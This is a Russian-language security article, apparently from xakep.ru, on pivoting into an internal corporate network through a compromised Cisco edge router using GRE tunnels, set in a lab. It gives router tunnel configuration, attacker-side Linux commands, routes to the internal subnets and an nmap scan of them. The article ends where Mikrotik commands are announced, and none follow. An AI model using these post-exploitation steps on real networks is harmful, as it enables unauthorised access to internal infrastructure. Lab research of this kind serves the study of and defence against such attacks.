Physical Address
304 North Cardinal St.
Dorchester Center, MA 02124
Physical Address
304 North Cardinal St.
Dorchester Center, MA 02124
При настройке средств защиты сетевое оборудование часто остается без внимания администраторов, что повышает вероятность взлома и получения контроля над такими устройствами. Что, если злоумышленник уже добился контроля над пограничным оборудованием? Сможет ли он подобраться к внутренней инфраструктуре?
Пивотинг (от английского pivoting, а не от слова «пиво») — это набор техник, которые позволяют получить доступ к внутренним ресурсам, минуя сетевую изоляцию, сетевые средства защиты, файрвол. Достаточно много было сказано о проведении пивотинга через традиционные службы SSH, OVPN и другие. Но в своем исследовании я продемонстрирую нетрадиционные приемы пивотинга сквозь пограничное сетевое оборудование с использованием протокола GRE.
GRE (Generic Routing Encapsulation) — это протокол инкапсуляции сетевых IP-пакетов, разработанный инженерами Cisco. В продакшене он получил большую популярность, поскольку решает проблемы создания VPN-каналов для организаций. GRE проводит инкапсуляцию напрямую в IP-пакет, минуя транспортный уровень. Кстати говоря, в контексте IP-пакета у GRE есть свой числовой идентификатор — 47
. По сути, GRE не предоставляет никаких средств защиты туннелируемых данных. Поэтому в продакшене обычно скрещивают GRE и IPSec для обеспечения безопасности данных. В этой статье я совсем немного расскажу о GRE, чтобы ты понимал, зачем он нам понадобился.
Простой пример GRE-туннеля
GRE-туннелирование здесь подразумевает три сущности:
Служебные заголовки GRE
Структура GRE версии 0
У GRE есть две версии — 0 и 1. На картинке выше представлена структура нулевой версии протокола GRE. Именно она обычно и используется. Как видишь, большинство заголовков здесь опциональные, то есть хранимые там значения есть не всегда и появляются лишь в специфичных сценариях. GRE также носит идентификатор инкапсулирующего протокола в заголовке Protocol Type. Под каждый протокол есть свой идентификатор: например, для пакета IPv4 этот идентификатор равен 0x0800
.
Идентификатор IPv4-пакета внутри GRE-заголовка
www
Подробнее о GRE читай в документе RFC.
В качестве лабораторного стенда выступит сеть, изображенная на схеме.
Топология лабораторной сети
Это типичная корпоративная сеть с тремя уровнями (уровень доступа, распределения и ядра). В качестве динамической маршрутизации используется протокол OSPF, для отказоустойчивости доступности шлюза — HSRP. Имеем четыре коммутатора уровня доступа и четыре сети VLAN со своей адресацией. Также подключен отдельный коммутатор уровня распределения, за ним сеть 192.168.20.0/24
.
В качестве Edge Router будут выступать Cisco CSR и Mikrotik CHR v. 6.49.6.
С атакующей стороны машина с Kali Linux и публичным IP-адресом — для примера атаки из интернета. Предположим, что атакующий каким‑то образом получил доступ к панели управления пограничным маршрутизатором, поскольку продемонстрировать мы хотим пивотинг, а это, как известно, один из шагов во время постэксплуатации.
Продемонстрирую небольшой пример организации L3-туннеля во внутреннюю сеть, которая находится за самим пограничным роутером. Вообще, принципы настройки GRE не отличаются у всех вендоров сетевого оборудования, вопрос лишь в разном синтаксисе. Давай для начала посмотрим, как настраивать Cisco.
Конфигурация GRE в Cisco IOS включает следующее:
172.16.0.1
для Kali и 172.16.0.2
для Cisco CSR);
212.100.144.100
;
100.132.55.100
.
EdgeGW(config)# interface tunnel 1EdgeGW(config-if)# tunnel mode gre ipEdgeGW(config-if)# ip address 172.16.0.2 255.255.255.0EdgeGW(config-if)# tunnel source 212.100.144.100EdgeGW(config-if)# tunnel destination 100.132.55.100
Теперь черед второй стороны GRE-туннеля. В нашем случае этой «второй стороной» будет хост атакующего. Linux прекрасно поддерживает работу с GRE при наличии необходимого модуля ядра ip_gre
. А он есть почти везде.
Здесь шаги такие:
c4s73r@kali:~$ sudo modprobe ip_gre
c4s73r@kali:~$ sudo ip link add name evilgre type gre local 100.132.55.100 remote 212.100.144.100
c4s73r@kali:~$ sudo ip addr add 172.16.0.1/24 dev evilgre
c4s73r@kali:~$ sudo ip link set evilgre up
Проверим работу туннеля через пинг до туннельного интерфейса Cisco CSR.
Пинг атакующего до второй стороны туннеля
Пинг от Cisco CSR
Посмотрим на таблицу маршрутизации, добавим некоторые маршруты до подсетей, чтобы проверить доступность.
Таблица маршрутизации пограничного роутера Cisco CSR
Прописываем маршруты до целевых подсетей. Адресом шлюза в данном случае будет адрес логического GRE-интерфейса роутера Cisco CSR — 172.16.0.2
.
c4s73r@kali:~$ sudo route add -net 10.10.50.0 netmask 255.255.255.0 gw 172.16.0.2
c4s73r@kali:~$ sudo route add -net 10.10.110.0 netmask 255.255.255.0 gw 172.16.0.2
c4s73r@kali:~$ sudo route add -net 10.10.140.0 netmask 255.255.255.0 gw 172.16.0.2
c4s73r@kali:~$ sudo route add -net 10.10.210.0 netmask 255.255.255.0 gw 172.16.0.2
c4s73r@kali:~$ sudo route add -net 192.168.20.0 netmask 255.255.255.0 gw 172.16.0.2
c4s73r@kali:~$ sudo nmap -n -p 22 -iL targets -oA result
Результаты сканирования SSH внутренней инфраструктуры
Примерно так будет выглядеть пакет с инкапсуляцией, если атакующий взаимодействует с внутренней сетью (ICMP, на примере внутренней подсети назначения 192.168.20.0/24).
Теперь продемонстрирую пример на оборудовании Mikrotik. Здесь абсолютно те же принципы настройки, разница лишь в синтаксисе и иерархии расположения сущностей (интерфейсы, IP-адресация и так далее).
info
Здесь приведены команды именно для RouterOS v. 6.
Источник: xakep.ru